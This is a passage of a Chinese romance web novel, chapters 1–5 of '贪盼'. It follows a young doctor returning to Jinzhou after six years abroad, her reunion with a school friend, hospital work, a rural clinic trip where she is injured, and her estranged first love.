《贪盼》 1. 重回,怦然心动的起源 《贪盼》全本免费阅读 “女士们,先生们,飞机已成功抵达锦州安淮国际机场,锦州今日小雨,舱外温度66华氏度,请注意保暖,感谢您乘坐本次航班,祝您旅途愉快!” 座椅前方的指示灯关闭,空姐温柔的播报声在整个机舱内环绕,原本安静的机舱瞬间热闹了起来,四处都响起欢笑和解开安全带的“啪嗒”声。 机场内小雨淅淅沥沥的,如丝连线,雨滴顺着轨迹滑落,在小窗上留下一条条水痕,夹杂着微风一起模糊了玻璃,也模糊了姜绵的视线。 跟着人群排队走出机舱,空气中混杂着的泥土腥腻味直钻鼻腔,再次踏上这片土地时,反倒多了几分释然。 6年前,她没告诉任何一个人,在这个地方毅然转身,挥别所有的牵扯与纠葛,只留一滴决绝的眼泪深深嵌入这个城市的土里。 现如今掏出手机看,网络信号早已接通成了国内通用,天气预报的城市在刷新后,也迅速变成了熟悉的两个字。 锦州。 熟悉的地名晃得姜绵眼睛疼,这是她与那个人的相交点,但从离开那天起,这里应该早就变成了与他平行的起点,他一定,恨透了自己。 * 处理完签证问题再出来时,已经是一个小时后了。 眼看外面的雨似乎并没有要停下来的趋势,姜绵烦躁地踢了踢鞋子,即使是粗跟,将近7厘米高的跟底也足够将她脚硌得生疼,早知道就不在一众鞋子中选择最废脚的这一双了。 “不好意思不好意思,麻烦借过一下!” 身后传来一道急切且尖锐的声音,还没等她反应过来,就被一个力道往前撞了几个趔趄,提在手中的包也被撞落在地,还好接口处扣得紧实,才不至于让里面的东西散落一地。 原本就满心躁意的姜绵此刻更是火上心头,一对秀气的眉毛紧紧皱了起来,不满地抬眸看向始作俑者。 “对不起对不起!实在不好意思!” 一个十几岁模样的小姑娘一边扭头道歉一边快步往前走,直至最后撞进一个中年女人的怀里,才糯声埋怨起来:“你怎么现在才来啊?刚刚在接机口那儿没见着你,还以为你忘记了,下次……” 正值青春年纪的孩子,难免会为了某一些事情而不管不顾,如此温馨的重聚场景,倒也让人不忍心去打搅。 看了眼不远处满脸笑容的母女俩,再看了看地上躺着的包,姜绵摇头叹了口气,松开行李箱,认命地蹲下身想拾起掉落的东西。 还没来得及待她起身,伴随着一道脚步声在她耳边停下来,一双皮鞋猝不及防闯进了视野里。 姜绵循着方向抬头往上望,对方是一个脸生的大叔,以前从没见过,她捡起包拍了拍,在不清楚来意的情况下,起身与人拉开了距离,稍带警惕地看着他。 “您是姜绵,姜小姐吧?”对方先开了口,像是要彰显自己并无恶意,他笑了笑,也往后撤了一点儿。 一个完全不认识的人,竟然能叫出自己的名字,姜绵有些茫然,迟疑地点了点头:“是我,您是?” 得到肯定的回答后,大叔拍了拍衣服上沾到的雨水,回想起交代给他的话,笑着解释道:“是这样的,您有一位朋友给您约了车,让我来机场接您。” 约了车来接她? 姜绵有些糊涂了,且不说她在锦州本来就没几个朋友,这次回国她也没告诉任何人,除了…… 正当她在心里做着排除法时,手机恰好响起了信息提示声,划开屏幕一看,果然如她所想的那般—— 陈思彤:虽然不能亲自来接你,但是给你叫车啦,长途跋涉肯定很辛苦[/心疼],到家好好休息,明天见么么么~ 陈思彤是姜绵在锦州认识的最好的朋友,刚从小镇上的高中转到锦一中的时候,中途融入集体对于姜绵而言是一件很困难的事情,正当她手足无措,一个人坐在位置上发呆的时候,是陈思彤的主动靠近缓解了这些无形的压力。 从那以后,她们两人在学校几乎是形影不离,无论是吃饭还是上厕所,就连座位都是挨在一起的,要说唯一离得远的,可能就是校成绩单上的排名了。 只要一到放榜的那一天,平时活跃得不得了的陈思彤都跟打了霜的茄子一样,磨蹭着不愿面对现实,紧张得一路上都在不停自言自语,哭诉自己要完了,回家少不了一顿骂的。 姜绵从来都是在一旁挽着她的胳膊,轻声安慰着她。 每当这时候,陈思彤都会叹一口气,无精打采的说道:“姜宝,你能把你的智商分我一半吗?” 每月一更新的榜单仿佛已经成了锦一中的传统,每次都得洋洋洒洒铺满一条街的公告栏,好处是不用扎到一堆看成绩,相应的,坏处就是这一个月内,只要你在学校里走这条路,平均每五步,就能将原本抛之于脑后的数据重新强制性载入你的大脑中。 为了少丢点脸,陈思彤果断拉着姜绵来到人最少的一个公告栏前,眼神不假思索地就直奔后面几张名单,果不其然在倒数第二张的中间看见了自己的名字,好歹是比上一次高了几十名,回家应该也说得过去。 “欣赏”完自己的成绩,陈思彤把视线落在第一张名单上,看着第6名上熟悉的名字欣慰地点了点头:“不错!我们姜宝就是厉害!比上次进步了四名,虽然这个涨幅比起我来是差了点儿。” 姜绵被她的话给逗笑,忍不住伸出手搭在她肩膀上。 初夏的风撩动少女的裙摆,阳光穿过梧桐树叶,光影斑驳了女孩儿们的脸,笑意荡漾在校园中并不起眼的一角,青春年华的烦恼也不过是转瞬即逝。 “以后你去京大,我就去京大——旁边那条街的武术学校,以后给你当贴身保镖,永远不分离!” 永远不分离,好啊。 她说:“好啊。” —— 思绪至此,姜绵忽然笑了,高中时代的她们总把永远当成承诺,殊不知那只是一种奢求的祈盼。 事实上,她没去京大,京大旁边的武术学校也不是陈思彤最后的归属地,不分离却也异国相隔了6年。 回国的事情她只告诉了陈思彤一人,当时她激动万分地说当天一定亲自迎接,结果却在昨天打电话吐槽说公司突然给她安排了新任务走不开,就这样放了她鸽子。 不过总算还是有点良心,知道花钱让专车司机来接她,要不然就这个天气,还真不知道该怎么踏出机场的大门。 这样想着,姜绵摁下语音键,将手机靠近嘴边说道:“陈大宝,感恩有 2. 情绪,不受控制的步伐 《贪盼》全本免费阅读 下雨天,锦州的交通果然还是一如既往地错杂盘桓,平时只需半小时的车程,硬生生延迟到一个小时后才总算是到达。 虽说是本地人,但在确认要回国的那一刻起,姜绵才发现在锦州这个地方并没有属于自己的落脚点,现在这个房子还是她托陈思彤帮忙找的。 下车时司机师傅好心地递了一把伞给她,姜绵撑着那把伞站在单元楼下,看着手机上的信息,一遍又一遍对照着位置。 “康乐小区一单元a2栋2-1,应该就是这里没错了。”确认无误后,姜绵合上伞提起手边的行李箱往楼上走。 小区内的设施看上去有些陈旧,楼梯边的扶手栏杆上,红色的油漆已经脱落大半,散发出淡淡的铁锈味。 一栋单元楼最高不过6层,每一层也就两户人家,这种样式的小区应该是有些年头了。 天慢慢转黑,好在楼道还算是明亮,从平层一直到2层,四个拐角处都有常亮的电灯泡。 2-1是一层里靠右边的那一户,对照着房东发来的短信,姜绵输入开锁密码打开了大门。 此时此刻她忍不住在心里怒夸陈思彤一万次,没有比这里更适合她的地方了,不仅房租便宜,而且离自己今后的工作地点还很近,步行也就十分钟左右。更重要的是它的大门还是密码锁啊!简直是把安全系数拉满了! 进门后姜绵把整个屋内都仔细检查了一遍,没发现什么问题,房间应该被仔细收拾过,四处都很干净整洁,虽然面积不是很大,但却有两个房间,她选了采光最好的一间把行李箱里面的东西都清了出来。 这次回来她只随身带了一个行李箱,里面装着一些生活必须品,其他七七八八的物件在莫斯科时都打包送快递了,用不了几天应该就能到。 今天这一天实在是太忙碌了,姜绵洗漱完出来已经快9点了,昨晚为了收拾东西几乎一晚都没合眼,在飞机上也没怎么休息,现下是连时差都不用倒,她倒头就能睡着。 凭借意志力在陈思彤发来的明日计划后面回复了个OK后,眼皮已经重到掀不开了,干脆就这样趴在床上睡了过去。 * 今日窗外面的月亮格外圆,在下雨天属实是少见。 路上的行人都忍不住驻足和同伴欣赏起来,纷纷掏出手机打卡。 “月亮雨![图片]” 餐桌上许言琛漫不经心的看着朋友圈几乎全被月亮给刷屏了,随手点开一张双指放大看了又看。 月圆,好兆头,他微不可查地勾了勾嘴角。 “言琛,你妈那边……找个时间过去看看吧,下周五她生日,她想……”男人声音很轻,似是在小心询问,生怕惹人不悦。 没有回答,长久的安静让人感到窒息。 不知道过了多久,就当他以为等不到回答叹了口气时,圆桌对面的人突然起身站了起来。 椅子腿在地上划出刺耳的声音,许言琛抬眸看不出什么情绪:“周五要复查没时间,我先走了。” “言琛!” 仿佛没听见一般,男人没有片刻要停留的意思,推开门就要离开。 “她回来了是吗?” 门口的人终于有了反应,修长的双腿僵在原地迟迟没有迈出下一步,身侧的手慢慢攥紧,快要把手机给捏碎。 良久,许言琛卸了力,背对着人冷笑了一声:“麻烦您转告那个人,让她收收心,别再来掺和我的事。” 看着男人离开的背影,许国安无奈摇了摇头跌坐在椅子上,好好的一个家怎么就成了现在这样。 …… 睡得太早的后果就是——醒来时坐在床上看着黑漆漆的外面发懵。 顶着一头乱糟糟的头发,姜绵伸手在床上摸索起手机,刺眼的灯光差点闪瞎眼睛。 难怪,才凌晨三点不到。 在莫斯科这些年养成了习惯,一天到晚不是做实验就是写报告,能睡够三四个小时就已经很不错了,今天这一觉已经算久了。 无论怎样也算是自然醒,此刻没有了半分睡意,距离跟陈思彤约定好的会面时间还有6个小时,她决定洗漱完点个外卖吃个早饭,昨天晚饭没吃倒头就睡,现在是感觉有些饿了。 客厅的灯带泛着暖黄色的光,一个人的房间太过安静了,干脆整个人窝在沙发上打开了电视,听着里面重播的综艺片段。 下一秒姜绵便看着手机犯了难,外卖app上最早开门的早餐店都得等到6点半,现下只有24小时便利店还营着业。 思来想去,最后还是在便利店里下单了一桶泡面,又在酒水区加了一瓶啤酒付了钱才作罢。 “预计半小时左右送达。”看了眼页面上的送达时间,姜绵轻吁一口气,趿上拖鞋走向房间,“那就先去看看今天出门穿什么吧!” 这还是回国后第一次真正意义上的出游,坐在床沿,看着衣柜角落里熟悉的校服出了神。 也不知道这么多年过去了,锦州是不是早就已经大变样了。 之前她也总是会想,锦一中门口宋爷爷的面馆还开着吗?放学最爱去的小书铺还在不在?保安叔叔还会抓迟到的同学吗?竞赛拍的照片还挂在荣誉墙上吗? 还有,他……还好吗? 每每回忆往昔,思绪至此都会强制打断,是不愿想吗?其实只是不敢而已,不敢跟别人打听他的情况,听到他过得好会难受,听到他过得不好更难受。 姜绵觉得自己真是病得不轻,有时候她自己都搞不懂自己脑子里在想些什么,难道她还在幻想他会突然出现在自己面前吗? 凭什么?现在这样不就是她想要的吗?她不应该高兴吗?可坐在床上看着空荡荡的房间她却掩面哭出了声,明明不该如此的。 楼下,黑色大伞里亮着猩红色的点,丝丝烟雾从中飘出散在空气中,男人抬头看着整栋楼中唯一亮起的一个房间,眉头微微蹙起。 烟头被夹在指节中间,心脏莫名蔓延出一种名为酸楚的疼痛感。 “又睡不着了吗。”只是轻声的呢喃,在这寂静的夜晚,除了他再无人知晓。 脚边不知何时已遍布烟头,大多都是夹在手中燃尽,偶尔才会深吸一口,只是为了享受那片刻的释放感。 就这样不知道站了多久,许言琛被突然停在楼底下的摩托车吸引了注意,他朝人吹了个口哨,刚准备上楼的外卖小哥顺着动静看了过来。 “201的?” 闻言外卖小哥低头看了一下订单信息,再抬起头时仿佛看见了救命稻草:“对对对!你是201住户对吧,正好我下一单快超时了。” 说完就把手里的外卖递了过来,许言琛也没否认,挑了挑眉接了过来。 片刻后周围在摩托车尾气中安静了下来。 男人抬手仔细打量着手中的东西。 “泡面,啤……酒?” 看着袋子上的小票,许言琛被气得冷笑出声,学会喝酒也就算了,大晚上的就吃这些? 还以为在外面这么多年应该学会照顾自己了,没想到还是老样子。 他叹了 3. 逃避,突如其来的碰面 《贪盼》全本免费阅读 一大早锦州竟然久违的出了太阳。 阳光刺得人睁不开眼,早有准备的陈思彤从包里掏出一把圆扇遮盖住了大半张脸,站在公交站台边时不时看向车辆驶来的方向。 “怎么还没到。” 才说完就被人从身后拍了拍肩膀。 “嘿!” “姜小绵!!你从哪儿冒出来的?!”转头看见熟悉的面孔,陈思彤顾不得其他,激动得直接冲上前熊抱住人。 说起这个姜绵就脸冒黑线,伸手抱住人的同时忍不住开启了吐槽模式: “陈大宝你是怎么做到这么多年只长维度不长脑的,高中的时候就喜欢坐反站,现在来接我又站反了站,下车后没看见你人,我连想都不用想就知道是什么情况。” “啊?我又站反了吗?”她还真没怎么注意,难怪总觉得哪儿有点不对劲。 “没事没事!过程不重要,结果对了就行!走走走,别杵着了,我们去找个地方坐着聊呗。” 就是这种熟悉的感觉,地点正确,人物正确,一切仿佛又回到了最初,姜绵轻笑着挽上了她的胳膊,亲昵得跟在学校里别无二样,离开的这几年似乎只是自己做的一个梦。 “不过话说姜小绵,你干嘛要带着墨镜?” “我那个……遮黑眼圈。” “是吗?昨天没休息好啊?” “有点儿。” 好好的一张漂亮脸蛋儿被墨镜遮去了一大半,即使是这样,却仍能看出她不俗的气质。 俗话说眼睛是心灵的窗户,在陈思彤第n次抬头讲话望见的却是漆黑的镜片时,她终于忍无可忍了:“姜小绵,能不能把你那破墨镜给我摘了,这都在室内了别整这死出。” 环视整个厅内,她这个样子确实显得有些格格不入,在抿完一口咖啡搁下杯子后,姜绵鼓足勇气缓缓摘下了眼镜。 不出她所料,某人顿时发出尖锐暴鸣。 “我去!你这不是没休息好,是休息得太好连蚊子蛰你眼睛都没反应啊!?” 有这么夸张吗? 听陈思彤这样一描述,姜绵打开相机就是一通查看。 也还好吧,就是有一点点肿而已,还是可以勉强忽略不计的。 “我这就是早上起来正常的水肿,用不了一会儿就消了。” 听她这么说,陈思彤一副“你看我信吗?”的表情,她能分不清水肿和哭过的眼睛? 最后姜绵还是败在了她凌厉带刀的眼神中,舒了一口气决定坦白从宽:“思彤,我总感觉许言琛他好像来过。” 心如明镜的陈思彤并不回答,只是坐在一边静静听她讲。 “明明没有点的东西却出现在了袋子里,如果是其他东西也就算了,偏偏是从前我最爱吃的那款紫米面包,只有他知道。” 说完这个姜绵默了一会儿才继续讲:“也可能是我的错觉,毕竟他又怎么会知道我回来了,而且还连我住哪儿都这么清楚。” 一旁的罪魁祸首听得手心冒汗,干笑着打岔:“对啊,说不定只是商家送的呢。” 也不是没有这种可能,姜绵了然的点了点头,像是突然想到什么,一边搅着杯子一边问道:“说真的,你恨过我吗?” 不告而别的是她,背信弃义的也是她。 陈思彤却摇了摇头:“更多的可能是怨吧,毕竟我是真心拿你当朋友的。你都不知道,没有你消息的那段时间我有多着急,还以为你出什么事儿了。” “对不起。” “哎唷,这个词你都说过多少遍了,没什么可道歉的,如果是我遇到那些事情的话,说不定也会和你做同样的选择。” 那些遭遇换做任何一个人来,都没办法坦然接受,更何况是处于最心高气傲那一年龄段的他们。 姜绵垂下眼眸淡淡弯了弯唇,她从不后悔自己的选择。 桩桩件件的事一次又一次打磨着她的心气,直至最后把原本坚韧的人折磨得痛苦不堪,她才不得不选择放弃,即使那将是另一个深渊,但起码不会有人再因为她而受到无止境的伤害。 “不说这些了,明天带你去个地方解解闷。”好不容易从万恶的资本家手里薅了两天假出来,陈思彤发誓不玩儿尽兴绝不不罢休! 听她这样说,姜绵满脸遗憾的摇了摇手机:“去不了了,医院那边通知我明天就得去报道,我马上就要开启社畜模式了。” 作为过来人和现经历者,陈思彤表示深深的同情:“欢迎新成员加入,看来明天只能我一个人独自开朗了!” 杯底的咖啡被一饮而尽,姜绵被味道涩得眯了眯眼,起身拿起桌上的墨镜重新戴上。 “走,转场!” 她现在必须好好珍惜这休闲的时光,后面指不定有着什么九九八十一难呢。 * 在医院连轴转整整一周后,姜绵终于忍不住累瘫在了办公椅上,全身上下没一处是不痛的,就连伸出的手都变得颤颤巍巍起来。 什么叫身残志坚,就是即使成这样了,她也还是颤抖着手敲出一条吐槽信息发了出去,实在是不吐不快啊! 陈思彤:[图片]要来点儿吗[/摸鱼]? 看着照片里一脸快乐吃着薯片的人,姜绵悬着的心终于死了,炫耀!赤裸裸的炫耀! 还没来得及回复,手机上端又弹出一条新信息—— 胡主任:姜医生,帮我去前台取份资料过来。 得嘞!屁股还没坐热又发布新任务了,偏偏她还只能屁颠屁颠的去执行。 “欸!小姜医生,胡主任又让你来拿东西?” 姜绵一天到晚跑前台的次数多到前台的小护士都快看不下去了。 靠着服务台伸了伸懒腰,姜绵恹恹的说:“是啊,不知道的还以为我跑这么勤是来看美女的呢。” 几个小护士都被她给逗笑,忍不住打趣起来:“小姜医生这嘴可真甜,不过要说美女,谁能比得上我们内科一枝花姜医生啊?” 姜绵性子好,长得又漂亮,深受科室的人喜爱,来院里没几天就跟大伙儿打成了一片,上班时偶尔跟他们打打嘴仗,也不失为一种放松方式。 “别别别,我们科室这么大一捧花呢,就别折煞我了。” 趁着她们找资料的时间,姜绵撑着台子放空了一会儿,却在缓缓打开的电梯内看见了一个熟悉的人影。 电梯门口处人群进进出出,他就身着一袭黑色冲锋衣站在最角落,微微垂首倾听着身旁的医生讲话,时不时点头附和着。 眼见他有抬头的趋势,几乎是本能驱使姜绵迅速转过身,口罩下的表情已经变得木讷,好半晌她都只能听见自己凌乱的心跳声。 “小姜医生?小姜医生?” 直到前台护士伸手拍了拍她,姜绵才终于从中回过神来。 “小姜医生你怎么了?给你资料你也不接。” “没事,我想事情想入神了,谢谢啦。” 姜绵接过了东西,犹豫着转过头仔细看了看身后,直到确定人走了后才终于放松下来。 她怎么会 4. 冒然,微信界面的申请 《贪盼》全本免费阅读 为了让自己不再胡思乱想,送完资料的姜绵开始各种找事儿做,连中午买饭拿外卖的任务都给包了,大有一种不累死不罢休的精神。 在写完不知道第几份病例后,看着窗外渐暗的天色,姜绵心想总算要熬过一天了。 “我的天,不会吧?谁运气这么好哈哈哈……” 人还没进门,声就传了三里地。 几秒后办公室的大门被人打开,原本冷清的地方一下变得热闹起来,一进屋笑声就没断过。 “什么事师姐笑得这么开心啊?”姜绵实在是受不了这种魔性的笑声,丢下笔转了个方向面朝人问道。 “呀!小姜医生在呐,你没看群消息吗?大家都快传疯了呀!” 说起这个,姜绵才发现自己又刷新了记录,今日断网时间上升到了5个小时。 打开手机看见微信群里99+的信息,姜绵一脸茫然,这是发生了什么事情? 翻到最顶端才明白,事情起因是据一个不愿意透露姓名的医生的小道消息,说是院里要组织一场义诊活动,从几个科室中选一拨人强制性参与。 此话一出,就连平时在吐槽群里摸鱼的都被炸了出来,纷纷发起了“厄运远离”的表情包。 有跟姜绵一样新来的医生不明所以,在群里发出疑问—— 劝医雷劈:神马情况?撞邪了吗这是? 没过多久就有一群“好心人”出来捣乱—— 仅医胃:阿弥陀佛,不知者无罪! 一验万年:信我们就请转发这个平安符。 痔在天下:信女愿一生荤素搭配,只求不被选中! …… 之后聊天界面被“辟邪符”迅速占满,翻来翻去姜绵也没见着有人出来解答。 “师哥师姐们,这群里面都是些什么意思啊?大家怎么好像都很害怕这个活动。” 听她这样问,几人靠着桌子笑得更欢: “小姜医生想去义诊吗?” 姜绵稍稍思索了一下,点了点头:“想!听起来很有意思!” 谁知她的回答让众人笑得直不起身,好一会儿才有人在她茫然的眼神中解释道: “师妹啊,你先听师兄给你讲一个故事,听完后你一定会改变想法的。” 一提故事姜绵瞬间来了兴致,凑上前认真听他讲着。 “也没多久就前年吧,差不多也是这个时候,我那刚进医院没多久,院里第一次办义诊,那时候大家可不像现在这样,都争着抢着想去,你师哥我有幸被选中,可给我高兴了好一阵,想着怎么着也比在医院里轻松吧。 后来才发现,这简直是大错特错,我们去的那个地方,偏僻就算了吧,那是一点儿信号都不带有啊,那段时间直接把我网瘾给治好了。 那个地方的人也都奇奇怪怪的,我说我们是去义诊的不要钱,他们非说我们是骗子,除非帮他们干活才相信我们,整整一周我在那儿又喂猪又种地的,问诊没问成,我倒是差点确诊精神病。” 一旁有女医生出来打岔:“欸不对啊王医生,我记得你那时候可是深受村里大爷大妈们喜爱啊,说媒的从头到尾都没断过。” “你可别哪壶不开提哪壶了。”说起这个他就鸡皮疙瘩起一身,在一众人好奇的眼光中艰难开口,“首先申明,我不是对他们有偏见,只不过我好歹也是一个黄花大小子,没必要连村里的寡妇都介绍给我吧?” 此言一出,大家伙都笑得直不起腰,没想到中间还有这么一段奇葩事儿,纷纷打趣起他来。 姜绵一时被惊得说不出话,脸上的表情写满了讶异,这也太抽象了吧? “真的!师妹你别不信啊!你大可去问问其他人,保证跟我所讲的一字不差。” 倒不是不信,只是信息量实在太大,一时间让她难以消化,姜绵咽了咽口水,对这个小道消息表示怀疑:“上次活动过程那么糟糕,我想院里应该不会再来一次‘自取其辱’了吧?” 话音刚落,还没等人出声反驳,就有人举起手机惊呼了一声,瞬间吸引了所有人的注意: “完了完了!下圣旨了!看工作群!!” 一时间除了姜绵外,大家都开始边祈祷边滑动手机页面,没多久就有人兴奋的跳了起来—— “没有我的名字!!” “也没有我!” “没有+1!” …… 好夸张的场面,姜绵忍不住埋头想笑,只不过笑意还未完全绽开,她便听到有人缓缓念出自己的名字,抬头见众人一副同情的表情,顿时心中警铃作响。 “你们别吓我……” 别搞她啊啊啊!!! 说完赶忙划开手机仔细一翻看,表格里她的名字赫然在列。 脑袋瞬间开始发晕,四肢也不听使唤的软了下来,姜绵整个人像被抽了魂一样跌坐在转椅上。 不是吧,她这是踩了什么狗屎运? “去锻炼一下也行。” “没关系,新人都是这么过来的。” “你至少该庆幸,胡主任她没去!” “说的对……” 姜绵听后欲哭无泪,她现在去转发那个符还来得及吗? * 活动时间被安排在下周一,他们得提前一天出发,当一众人提着大包小包的东西来到大巴前,空气中顿时散发出一股强大的怨气。 这一去就得将近一周,即使再不愿意,他们也只能被迫接受现实。 也许是看出他们兴致不高,一路上不断有领导在灌鸡汤,姜绵听了后只觉得困意不断,头靠着车窗差点睡过去。 身边坐着的一个女生以为她不舒服,从包里掏出一个晕车贴热情地递了过来,放在她眼前晃了晃。 感受到一旁人的动作,姜绵睁眼微微侧目,看清东西后有一瞬间的怔愣。 其实刚上车时姜绵就有注意到她,从一开始到现在,全车就她一个人配合着活跃气氛,在一众萎靡的人群中显得格外有朝气。 接过东西道了个谢,姜绵没忍住开口感慨:“难得见有人笑着参加这次活动。” 那女生愣了一下,反应过来她指的是什么后,笑着解释:“之所以没跟大家一起焉儿着,可能是因为我老家就在华村啦,出来工作后已经很久没回去过了,所以难免兴奋一点。” 原来是这样啊。 这个原因倒是让姜绵没想到,她恍悟的朝人点了点头,也难怪她会这么有活力,回家的确是一件让人高兴的事儿。 车上本就安静,她的回答轻而易举就传到每个人的耳中,马上就有一些人按捺不住,朝人七嘴八舌的询问了起来: “诶!你们村里应该没有什么村霸之类的吧?” “有信号吗?至少可以让我打几局消消乐吧?” “有超市吗?” “热水呢?热水有吗?” “……” 什么七七八八的问题都被问了出来,等待着人解答,姜绵也满怀期待的看向了她。 “大家放心吧,华村人都挺好的,最近几年有政府帮忙扶持,生活条件也比以前好很多,至少大家的基本生活需求还是能满足的。” 听她这样说,车上的气氛瞬间缓和了许多,大家都下意识松了一口气,没一会儿原本死气沉沉的车内就传出了玩笑声。 心中少了些压迫感,姜绵扭头开始欣赏起窗外的风景,仔细想想她还是第一次做这么有意义的事,其实只要不像师哥说的那么可怕,这次义诊还是挺让人期待的。 一路上除了路抖了点儿,倒也没什么其他大问题出现。 一早启的程,将近中午了才到目的地,正是太阳最烈的时候,姜绵微微眯了眯眼,看见了正前方横幅下站着的一群人。 像是专门来迎接他们的。 巴士在距离人群没多远处停了下来,大家骨头都快坐散架了,一下车猛吸了一口新鲜空气,感觉整个人都活过来了。 姜绵理了理稍凌乱的头发,紧跟在后面蹦下了车。 “欢迎欢迎!感谢各位莅临华村!” 人群中一个年纪稍长的人带头快步走了过来,脸上挂着和蔼的笑容,朝他们一个个弯腰握手。 姜绵被这场景搞得有些发懵,但轮到她时还是很礼貌的回握了过去。 “那是我们村的村长,不用太有压力,只是因为平时很少会有人关注到华村,所以大家难免热情了些。” 声音从身侧传来,姜绵循声扭头望去,发现车上坐她旁边的那个女生,此刻正笑着跟她解释。 她的眼睛里流淌着一种难以言状的情绪,像是欣慰,又像是悲悯。 姜绵并未作答,只是抬眼望着不远处揣着手稍显局促的村民们,眼神里多了一丝波澜。 下车的地方并未深入村里,而是停在了离华村还有一段距离的镇上卫生所门前,没一会儿里面就有人出来跟领队的教授主任接洽工作。 身旁都是来自不同科室的同僚,大家三五成群的在原地聊了起来,刚刚还在跟她说话的女生也被村长叫过去了。 此刻姜绵是一个认 5. 紧贴,杂乱无序的心跳 《贪盼》全本免费阅读 真理往往都是出自实践,第二天一大早,大家顶着黑眼圈面面相觑,才发现姜绵的话多么有道理。 昨晚耳边的嗡嗡声就没断过,赶也赶不走的蚊子搞得众人叫苦连天,几乎是睁眼挨到天亮,纷纷在群里吐槽起来。 方琳作为当地人,觉得自己再怎么也应该尽到地主之谊,自告奋勇承担起了采购蚊香的重任。 “李医生,真是辛苦你了,还要让你专门陪我们跑一趟。” “没事没事,主要是大家也不放心你们两个女生出来,我来出出力也挺好。” “是吗?不放心我们两个,大家真贴心!”方琳一边打干哈哈,一露出一副“我懂”的表情。 身侧姜绵牵强的扯了扯嘴角,一切发生的太突然,她都没来得及有反驳的机会。 本来群里只是在商量买蚊香的,直到有人说想喝饮料,后面就开始变得一发不可收拾,一个群三四十个人,一人买几样搞得备忘录都快写不下了。 她就这样被方琳无情的拉上一起,而李泉在知道姜绵要去后,也找了个借口跟她们同行。 局面就这样从一人行变成两人行再变成了三人行。 镇上的超市还在最下面一段路,方琳折算着还不如去村里面的小卖部近,干脆带着他们进了华村。 进村的路变窄了许多,都是一些还未来得及铺水泥的泥巴路,早上的露水让道路变得湿滑,行走起来有些难度。 周边都是竹林和一些杂草,划过人的手臂泛起一片痒意。 三人只能排成一条直线行走,方琳在前面带路,姜绵就紧紧跟在人身后。 “等会儿回来的时候就好走多了,姜医生、李医生,你们小心些注意脚下啊!” 姜绵倒是答的很快:“好,你也小心。” “李医生呢?” 不见身后李泉答复,两人停下脚步回头望,发现他不知何时停了下来,正盯着某一处发愣。 “李医生,你在看什么?” 方琳出声将他喊回了神,李泉回过头看向她们的眼睛炯炯有神:“这颗树上好多木耳,我们摘下来带回去怎么样?” 没看出来他竟是个吃货,看见野生食材就走不动道,姜绵跟方琳对视一眼,忍住了笑意。 “可以,正好我这里有袋子,这种鲜木耳村里树上多的是,最好要晒干了吃,你可别直接生吃啊!” 知道是在打趣他,李泉也不恼,笑着接过袋子挂在手边。 一路从最底下摘到树干中部便够不到了,正好一旁有一块还算高的石头,李泉没多想直接踩了上去。 “小心点!” 眼看石头有些晃,姜绵吓得出声提醒。 “没事。” 他勉强维持住重心,直到摘下这颗树上的最后一片木耳才收了手。 本来以为没什么大问题的,可跳下石头的时候不知道踩上了什么东西,脚底突然打滑,整个人不受控制的往后仰去。 “李医生!” 姜绵条件反射般伸手拉住了他,人类的求生欲让李泉顺着这道力使劲,可由于两人力量的悬殊,姜绵整个人被往前带了一个趔趄。 方琳被吓得不轻,慌忙伸手拉她,可前方正好是一个小斜坡,她还没来得及碰到人,姜绵就已经顺着坡滚了下去。 “姜绵!” “姜医生!” 身体传来被小石子碾过的疼痛,好在坡下面没有多高,姜绵滚了几圈,背部撞到一颗枯树停了下来。 她尝试着动了一下身体,发现想要靠自己一个起来还是有点困难,于是就这样躺着从树叶缝中望着天空,等待救援。 没多久不远处就传来了踩碎枯叶的声音,接着就响起带了些哭腔的呼喊声: “姜绵!姜医生!” “我在这儿!”身体虽然动弹不得,可声音却没受到影响,回音在整个林中打转。 果然,那边听到了应答,两人都急忙朝这个方向跑了过来。 瞧见人后,方琳直接朝她滑跪了过去:“姜绵!你怎么样啊?伤得重不重?能坐起来吗?” “应该能,你扶我一把。” 姜绵扶住她的胳膊,借着力道勉强坐了起来,倚靠在了一旁的石头上。 “对不起姜医生,都怪我非要去摘那个木耳,我不该拉你的,否则也不会害你受伤。”李泉此刻像一个犯了错的小孩儿一样,愧疚得不敢去看她。 “没关系,摘木耳是我们一起同意的,拉你也是我自愿的,这只是个意外没人能预料到,你不用道歉,就是我脚好像崴到了,你是这方面的医生,能帮我看看吗?” “当然可以!” 在这一刻,就连方琳都不得不承认,姜绵真的是一个很有人格魅力的女生,即使受伤的是自己,也会先安抚别人的情绪。 “踝关节扭伤,好在韧带没撕裂,但还是得尽快回镇上的卫生所冰敷。” 她现在这个样子,自己走回去肯定是不行的,只能麻烦别人了。 “李医生,你能背姜医生回去吗?” “我……那个……” 让他背个人也支支吾吾的,标准答案都递他手里还不会回答,方琳撇了眼他那干瘦的身材,心里大概有了数,惋惜的拍了拍他的肩膀。 “那你先在这儿照看一下姜医生,这里离我家没多远了,我回村里搬救兵。” 李泉尴尬红了脸,半天才憋出一个“好”字。 “要买的那些东西怎么办?” 方琳看了眼坐在地上略显虚弱却任不忘任务的人,无奈叹了口气:“你现在就别操心那些了,当务之急是先治好你的伤,大不了我下午再跑一趟,走了!” “方医生,你小心点啊,不行的话我自己蹦回去也行!” 方琳背着身潇洒挥手:“放心待着吧,等姐带人回来!” —— 一天的早晨是学校里最热闹的时候。 因为不仅能听见同学们稚嫩又响亮的朗读声,还能听见窗外小鸟清脆的鸣叫。 运气好的话还能碰巧看见鸟妈妈喂食在鸟窝里嗷嗷待哺的小鸟。 “向洋!” 粗狂的声音响彻整个教室,正在座位上走神的人被吓得一哆嗦。 “说过多少次了上课不要盯着窗外看,我就不明白了,外面究竟有什么好看的这么吸引你?再被我提醒一次,下次上课你就去我办公室抄小字!” 公开批评使得整个教室的同学都看向了他,陆陆续续有笑声响起,小男生低头羞红了脸,一节课上得浑浑噩噩。 好不容易捱到下课,课间时间其他人都相伴着去外面玩游戏,没有人再在意刚刚那段插曲,也没有人在意插曲里的主人公。 不过向洋已经习惯了,他性格内向,没有人跟他交朋友,走向教室外面的时候,脑子里情不自禁回想起窗外看见的那一幕。 如果他也有爸爸妈妈的话,大家会不会愿意亲近他一些? 说到底也只是个小孩儿,心底并没有表面那么坚强,长时间的落单让他忍不住在这一刻想哭。 一边抽泣着,一边用小手揉眼睛,情绪低落让他没有看见走廊尽头站着的男人,直愣愣的撞了上了那人的腿。 “对不起,我、我不是故意的……” 向洋走得慢,撞上倒也不疼,但还是下意识的摸了摸头,哭着道歉。 